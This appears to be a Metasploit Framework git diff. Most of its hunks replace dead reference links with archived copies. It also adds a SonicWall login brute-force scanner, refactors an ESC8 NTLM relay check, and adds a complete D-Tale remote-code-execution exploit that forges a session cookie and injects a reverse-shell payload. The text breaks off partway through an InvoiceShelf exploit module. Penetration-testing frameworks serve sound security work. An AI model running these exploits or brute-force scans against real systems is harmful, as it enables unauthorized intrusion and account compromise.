b49f300bf9cd8..64442a2c747fb 100644 --- a/modules/auxiliary/scanner/misc/cisco_smart_install.rb +++ b/modules/auxiliary/scanner/misc/cisco_smart_install.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'Author' => ['Jon Hart ', 'Mumbai'], 'References' => [ - ['URL', 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'], + ['URL', 'http://web.archive.org/web/20221003014218/http://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'], ['URL', 'https://blogs.cisco.com/security/cisco-psirt-mitigating-and-detecting-potential-abuse-of-cisco-smart-install-feature'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi'], ['URL', 'https://github.com/Cisco-Talos/smi_check'], diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index 22eba2c84f889..37b43a4b6659d 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ], 'References' => [ ['URL', 'http://antirez.com/news/96'], - ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], + ['URL', 'http://web.archive.org/web/20240907110448/https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], ['URL', 'https://redis.io/topics/protocol'] ], 'Privileged' => true, diff --git a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb index e926a1433bc3d..2278b2e27e18b 100644 --- a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb +++ b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb @@ -17,7 +17,7 @@ def initialize }, 'References' => [ - [ 'URL', 'https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] + [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] ], 'Author' => ['Deral "PercentX" Heiland'], 'License' => MSF_LICENSE diff --git a/modules/auxiliary/scanner/snmp/netopia_enum.rb b/modules/auxiliary/scanner/snmp/netopia_enum.rb index 5abc5b85e7331..f0d87df046b91 100644 --- a/modules/auxiliary/scanner/snmp/netopia_enum.rb +++ b/modules/auxiliary/scanner/snmp/netopia_enum.rb @@ -17,7 +17,7 @@ def initialize }, 'References' => [ - [ 'URL', 'https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] + [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] ], 'Author' => ['Deral "PercentX" Heiland'], 'License' => MSF_LICENSE diff --git a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb index dee19ef9ac3a0..cff307afa24a4 100644 --- a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb +++ b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb @@ -17,7 +17,7 @@ def initialize }, 'References' => [ - [ 'URL', 'https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] + [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] ], 'Author' => ['Deral "PercentX" Heiland'], 'License' => MSF_LICENSE diff --git a/modules/auxiliary/scanner/sonicwall/login_scanner.rb b/modules/auxiliary/scanner/sonicwall/login_scanner.rb new file mode 100644 index 0000000000000..2ca9beabc1e4d --- /dev/null +++ b/modules/auxiliary/scanner/sonicwall/login_scanner.rb @@ -0,0 +1,84 @@ +require 'metasploit/framework/login_scanner/sonicwall' +require 'metasploit/framework/credential_collection' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'name' => 'SonicWall HTTP Login Scanner', + 'Description' => %q{This module adds HTTP Login scanning for SonicWall NSv. It allows scanning both admin and user accounts.}, + 'Author' => ['msutovsky-r7'], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { + 'RPORT' => 4433 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] + } + ) + ) + register_options([ + OptString.new('DOMAIN', [true, 'Select whether to test admin account', 'LocalDomain']) + ]) + end + + def get_scanner(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + configuration = configure_http_login_scanner( + host: ip, + port: datastore['RPORT'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['HttpClientTimeout'] + ) + Metasploit::Framework::LoginScanner::SonicWall.new(configuration, datastore['DOMAIN']) + end + + def process_credential(credential_data) + credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}" + case credential_data[:status] + when Metasploit::Model::Login::Status::SUCCESSFUL + print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}" + credential_data[:core] = create_credential(credential_data) + create_credential_login(credential_data) + return { status: :success, credential: credential_data } + else + error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})" + vprint_error error_msg + invalidate_login(credential_data) + return { status: :fail, credential: credential_data } + end + end + + def run_scanner(scanner) + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!(module_fullname: fullname, workspace_id: myworkspace_id) + process_credential(credential_data) + end + end + + def run_host(ip) + scanner = get_scanner(ip) + run_scanner(scanner) + end + +end diff --git a/modules/auxiliary/scanner/ssl/ssl_version.rb b/modules/auxiliary/scanner/ssl/ssl_version.rb index 8ffab0dc445dd..37787c1ab646f 100644 --- a/modules/auxiliary/scanner/ssl/ssl_version.rb +++ b/modules/auxiliary/scanner/ssl/ssl_version.rb @@ -40,7 +40,7 @@ def initialize # poodle [ 'URL', 'https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html' ], [ 'CVE', '2014-3566' ], - [ 'URL', 'https://www.openssl.org/~bodo/ssl-poodle.pdf' ], + [ 'URL', 'http://web.archive.org/web/20240319071045/https://www.openssl.org/~bodo/ssl-poodle.pdf' ], # TLS v1.0 and v1.1 depreciation [ 'URL', 'https://datatracker.ietf.org/doc/rfc8996/' ], # SSLv2 deprecation @@ -56,7 +56,7 @@ def initialize # BEAST [ 'CVE', '2011-3389' ], # RC4 - [ 'URL', 'http://www.isg.rhul.ac.uk/tls/' ], + [ 'URL', 'http://web.archive.org/web/20240607160328/https://www.isg.rhul.ac.uk/tls/' ], [ 'CVE', '2013-2566' ], # LOGJAM [ 'CVE', '2015-4000' ], diff --git a/modules/auxiliary/scanner/wproxy/att_open_proxy.py b/modules/auxiliary/scanner/wproxy/att_open_proxy.py index 054a0c76bebf6..7dabe36fee560 100755 --- a/modules/auxiliary/scanner/wproxy/att_open_proxy.py +++ b/modules/auxiliary/scanner/wproxy/att_open_proxy.py @@ -19,7 +19,7 @@ 'references': [ {'type': 'cve', 'ref': '2017-14117'}, {'type': 'url', 'ref': 'https://www.nomotion.net/blog/sharknatto/'}, - {'type': 'url', 'ref': 'https://www.rapid7.com/blog/post/2017/09/07/measuring-sharknat-to-exposures/#vulnerability5port49152tcpexposure'} + {'type': 'url', 'ref': 'http://web.archive.org/web/20230327172835/https://www.rapid7.com/blog/post/2017/09/07/measuring-sharknat-to-exposures/'} ], 'type': 'multi_scanner', 'options': { diff --git a/modules/auxiliary/server/regsvr32_command_delivery_server.rb b/modules/auxiliary/server/regsvr32_command_delivery_server.rb index 175ec0ee7e484..a4bc3b79ad6ed 100644 --- a/modules/auxiliary/server/regsvr32_command_delivery_server.rb +++ b/modules/auxiliary/server/regsvr32_command_delivery_server.rb @@ -25,7 +25,7 @@ def initialize(info = {}) ], 'References' => [ - ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html'] + ['URL', 'http://web.archive.org/web/20170419145048/http://subt0x10.blogspot.com:80/2016/04/bypass-application-whitelisting-script.html'] ] )) diff --git a/modules/auxiliary/server/relay/esc8.rb b/modules/auxiliary/server/relay/esc8.rb index 48ef580a70fdb..72e260c2e7aee 100644 --- a/modules/auxiliary/server/relay/esc8.rb +++ b/modules/auxiliary/server/relay/esc8.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Auxiliary include ::Msf::Exploit::Remote::SMB::RelayServer include ::Msf::Exploit::Remote::HttpClient - def initialize + def initialize(_info = {}) super({ 'Name' => 'ESC8 Relay: SMB to HTTP(S)', 'Description' => %q{ @@ -40,8 +40,6 @@ def initialize OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), ] ) - - deregister_options('RHOSTS') end def relay_targets @@ -54,7 +52,7 @@ def relay_targets ) end - def initial_handshake?(target_ip) + def check_host(target_ip) res = send_request_raw( { 'rhost' => target_ip, @@ -67,18 +65,30 @@ def initial_handshake?(target_ip) ) disconnect - res&.code == 401 - end + return Exploit::CheckCode::Unknown if res.nil? + unless res.code == 401 + return Exploit::CheckCode::Safe('The target does not require authentication.') + end + + unless res.headers['WWW-Authenticate'].include?('NTLM') && res.body.present? + return Exploit::CheckCode::Safe('The target does not support NTLM.') + end - def check_options - if datastore['RHOSTS'].present? - print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.') + if datastore['SSL'] + # if the target is over SSL, downgrade to "Detected" because Extended Protection for Authentication may or may not be enabled + Exploit::CheckCode::Detected('Server replied that authentication is required and NTLM is supported. Target is over SSL, Extended Protection for Authentication (EPA) may or may not be enabled.') + else + Exploit::CheckCode::Appears('Server replied that authentication is required and NTLM is supported.') end + end + + def validate + super case datastore['MODE'] when 'SPECIFIC_TEMPLATE' - if datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? - fail_with(Failure::BadConfig, 'CERT_TEMPLATE must be set in AUTO and SPECIFIC_TEMPLATE mode') + if datastore['CERT_TEMPLATE'].blank? + raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' }) end when 'ALL', 'AUTO', 'QUERY_ONLY' unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? @@ -88,11 +98,11 @@ def check_options end def run - check_options @issued_certs = {} relay_targets.each do |target| vprint_status("Checking endpoint on #{target}") - unless initial_handshake?(target.ip) + check_code = check_host(target.ip) + if [Exploit::CheckCode::Unknown, Exploit::CheckCode::Safe].include?(check_code) fail_with(Failure::UnexpectedReply, "Web Enrollment does not appear to be enabled on #{target}") end end diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index 235f043710db8..d32a5b6987de8 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -35,7 +35,7 @@ def initialize(info = {}) [ 'CVE', '2008-1447' ], [ 'OSVDB', '46776'], [ 'US-CERT-VU', '800113' ], - [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ], + [ 'URL', 'http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ], ], 'DisclosureDate' => '2008-07-21' )) diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index f38200d158fe0..805e9113dd8a1 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -29,7 +29,7 @@ def initialize(info = {}) [ 'CVE', '2008-1447' ], [ 'OSVDB', '46776'], [ 'US-CERT-VU', '800113' ], - [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ], + [ 'URL', 'http://web.archive.org/web/20160606120102/http://www.caughq.org:80/exploits/CAU-EX-2008-0002.txt' ], ], 'DisclosureDate' => '2008-07-21' )) diff --git a/modules/exploits/aix/local/invscout_rpm_priv_esc.rb b/modules/exploits/aix/local/invscout_rpm_priv_esc.rb index 97b61ea7de6d1..3f52b768e8862 100644 --- a/modules/exploits/aix/local/invscout_rpm_priv_esc.rb +++ b/modules/exploits/aix/local/invscout_rpm_priv_esc.rb @@ -31,7 +31,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2023-28528'], - ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'], + ['URL', 'http://web.archive.org/web/20250117163943/https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'], ], 'Platform' => %w[unix aix], 'Arch' => ARCH_CMD, diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb index 891989712b766..46452ed12b836 100644 --- a/modules/exploits/android/local/futex_requeue.rb +++ b/modules/exploits/android/local/futex_requeue.rb @@ -30,7 +30,7 @@ def initialize(info = {}) 'References' => [ [ 'CVE', '2014-3153' ], [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ], - [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ], + [ 'URL', 'http://web.archive.org/web/20160912014145/http://blog.nativeflow.com:80/the-futex-vulnerability' ], ], 'DisclosureDate' => '2014-05-03', 'SessionTypes' => [ 'meterpreter' ], diff --git a/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb b/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb index 4554177359802..3ec775e1556f7 100644 --- a/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb +++ b/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb @@ -38,8 +38,8 @@ def initialize(info = {}) ['CVE', '2019-19781'], ['EDB', '47901'], ['EDB', '47902'], - ['URL', 'https://support.citrix.com/article/CTX267027/'], - ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'], + ['URL', 'http://web.archive.org/web/20220608001448/https://support.citrix.com/article/CTX267027'], + ['URL', 'http://web.archive.org/web/20200707202522/https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'], ['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/'] ], 'DisclosureDate' => '2019-12-17', diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb index fe933241e228d..85d67626f59da 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb @@ -27,7 +27,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356. ['CVE', '2025-1094'], # The SQL injection in PostgreSQL code. - ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory + ['URL', 'http://web.archive.org/web/20241226144006/https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory ['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory ['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis ], diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb index 02db44bce6575..2d66d77bc0fa7 100644 --- a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -33,7 +33,7 @@ module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other ['OSVDB', '95951'], ['EDB', '27283'], ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site - ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://web.archive.org/web/20140122174138/http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory ], 'Targets' => diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 8d872610f2e73..9a919eeb3ef93 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -28,7 +28,7 @@ def initialize(info = {}) [ 'OSVDB', '89861' ], [ 'EDB', '24453' ], [ 'BID', '57734' ], - [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], + [ 'URL', 'http://web.archive.org/web/20240619081418/http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] ], diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index a46d35503e449..71fa55149f4be 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -27,7 +27,7 @@ def initialize(info = {}) 'Platform' => 'linux', 'References' => [ - ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC + ['URL', 'http://web.archive.org/web/20160125171424/https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC ], 'DisclosureDate' => '2015-06-12', 'Payload' => diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb index fdc3e8e7ec652..3ee98d04e0a4e 100644 --- a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -30,7 +30,7 @@ def initialize(info = {}) ['OSVDB', '95950'], ['EDB', '27283'], ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site - ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://web.archive.org/web/20140122174138/http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory ], 'Platform' => 'linux', diff --git a/modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb b/modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb new file mode 100644 index 0000000000000..6bd4e225a48c7 --- /dev/null +++ b/modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb @@ -0,0 +1,175 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'D-Tale RCE', + 'Description' => %q{ + This exploit effectively serves as a bypass for CVE-2024-3408. + An attacker can override global state to enable custom filters, which then facilitates remote code execution. + Specifically, this vulnerability leverages the ability to manipulate global application settings to activate the enable_custom_filters feature, typically restricted to trusted environments. + Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands. + }, + 'Author' => [ + 'taiphung217', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-3408'], + ['CVE', '2025-0655'], + ['URL', 'https://huntr.com/bounties/57a06666-ff85-4577-af19-f3dfb7b02f91'], + ['URL', 'https://huntr.com/bounties/f63af7bd-5438-4b36-a39b-4c90466cff13'], + ], + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true + }, + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => '\'"' + }, + 'DisclosureDate' => '2025-02-05', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(40000), + ] + ) + end + + def generate_dtale_jwt + @session = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign({ 'logged_in' => true, 'username' => rand_text_alpha(8) }, 'Dtale') + # Need wait, otherwise auth bypass fails + sleep 2 + end + + def check + generate_dtale_jwt + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'dtale/popup/upload'), + 'headers' => { + 'Cookie' => "session=#{@session}" # Set the JWT token as a cookie + } + }) + return Exploit::CheckCode::Unknown unless res&.code == 200 + + html_document = res.get_html_document + return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? + + version_element = html_document.xpath('//*[@id="version"]/@value') + return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? + + version = Rex::Version.new(version_element&.text) + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version <= Rex::Version.new('3.15.1') + + Exploit::CheckCode::Appears("Version #{version} detected.") + end + + def exploit + generate_dtale_jwt unless @session + + # Create a new MIME message (multipart form data) + mime = Rex::MIME::Message.new + # Add the file part to the body + fname = "#{rand_text_alpha(3)}.csv" + mime.add_part( + "#{rand_text_alpha(1)},#{rand_text_alpha(1)}\n#{rand_text_numeric(1)},#{rand_text_numeric(1)}", + 'text/csv', + nil, + "form-data; name=\"#{fname}\"; filename=\"#{fname}\"" + ) + # Add additional form data + mime.add_part('true', nil, nil, 'form-data; name="header"') + mime.add_part('comma', nil, nil, 'form-data; name="separatorType"') + mime.add_part('', nil, nil, 'form-data; name="separator"') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'dtale/upload'), + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s, + 'headers' => { + 'Cookie' => "session=#{@session}" # Set the JWT token as a cookie + } + }) + @data_id = res&.get_json_document&.fetch('data_id', nil) + fail_with(Failure::Unknown, 'Failed to get data_id from response.') unless @data_id + print_status("Use data_id: #{@data_id}") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "dtale/update-settings/#{@data_id}"), + 'vars_get' => { + 'settings' => { 'enable_custom_filters' => true }.to_json + }, + 'headers' => { + 'Cookie' => "session=#{@session}" # Set the JWT token as a cookie + } + }) + fail_with(Failure::Unknown, 'Failed to update the settings.') unless res&.get_json_document&.fetch('success', nil) + print_status('Updated the enable_custom_filters to true.') + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "dtale/test-filter/#{@data_id}"), + 'vars_get' => { + 'query' => "@pd.core.frame.com.builtins.__import__('os').system('#{payload.encoded}')", + 'save' => true + }, + 'headers' => { + 'Cookie' => "session=#{@session}" # Set the JWT token as a cookie + } + }) + print_status('Successfully executed the payload.') + end + + def cleanup + super + + if @data_id + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'dtale/cleanup-datasets'), + 'vars_get' => { + 'dataIds' => @data_id + }, + 'headers' => { + 'Cookie' => "session=#{@session}" # Set the JWT token as a cookie + } + }) + print_status("Failed to clean up data_id: #{@data_id}") unless res&.get_json_document&.fetch('success', nil) + print_status("Successfully cleaned up data_id: #{@data_id}") + end + end + +end diff --git a/modules/exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx.rb b/modules/exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx.rb index a977cee57d74d..08a6ee047e8dc 100644 --- a/modules/exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx.rb +++ b/modules/exploits/linux/http/geutebruck_cmdinject_cve_2021_335xx.rb @@ -38,7 +38,7 @@ def initialize(info = {}) ['CVE', '2021-33552'], ['CVE', '2021-33553'], ['CVE', '2021-33554'], - [ 'URL', 'http://geutebruck.com' ], + [ 'URL', 'https://www.geutebrueck.com/index.html' ], [ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'], [ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03'] ], diff --git a/modules/exploits/linux/http/geutebruck_instantrec_bof.rb b/modules/exploits/linux/http/geutebruck_instantrec_bof.rb index 6b4a932c8ed97..b10ecaeecc0fc 100644 --- a/modules/exploits/linux/http/geutebruck_instantrec_bof.rb +++ b/modules/exploits/linux/http/geutebruck_instantrec_bof.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2021-33549'], ['URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'], - ['URL', 'http://geutebruck.com'], + ['URL', 'https://www.geutebrueck.com/index.html'], ['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03'] ], 'DisclosureDate' => '2021-07-08', diff --git a/modules/exploits/linux/http/geutebruck_testaction_exec.rb b/modules/exploits/linux/http/geutebruck_testaction_exec.rb index 860c99be107a3..b1e4b0cf635dd 100644 --- a/modules/exploits/linux/http/geutebruck_testaction_exec.rb +++ b/modules/exploits/linux/http/geutebruck_testaction_exec.rb @@ -28,7 +28,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2020-16205' ], - [ 'URL', 'http://geutebruck.com' ], + [ 'URL', 'https://www.geutebrueck.com/index.html' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/icsa-20-219-03' ], [ 'URL', 'https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/' ] ], diff --git a/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb b/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb index 0c598271813e3..3d3b47aff2125 100644 --- a/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb +++ b/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb @@ -32,7 +32,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2024-55555'], - ['URL', 'https://attackerkb.com/topics/xxxxx/cve-2024-55555'], + ['URL', 'https://attackerkb.com/topics/QtMS7cIExH/cve-2024-55555'], ['URL', 'https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known'] ], 'DisclosureDate' => '2024-12-13', diff --git a/modules/exploits/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.rb b/modules/exploits/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.rb new file mode 100644 index 0000000000000..e51295bd157ce --- /dev/null +++ b/modules/exploits/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::LaravelCryptoKiller + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'InvoiceShelf unauthenticated PHP Deserialization Vulnerability', + 'Description' => %q{ + InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional + invoices & estimates and is based on the PHP framework Laravel. + InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct + PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default + InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie. + These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using + Laravel's encrypt() function. + An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify + the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve + remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable. + As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, + potentially resulting in complete system 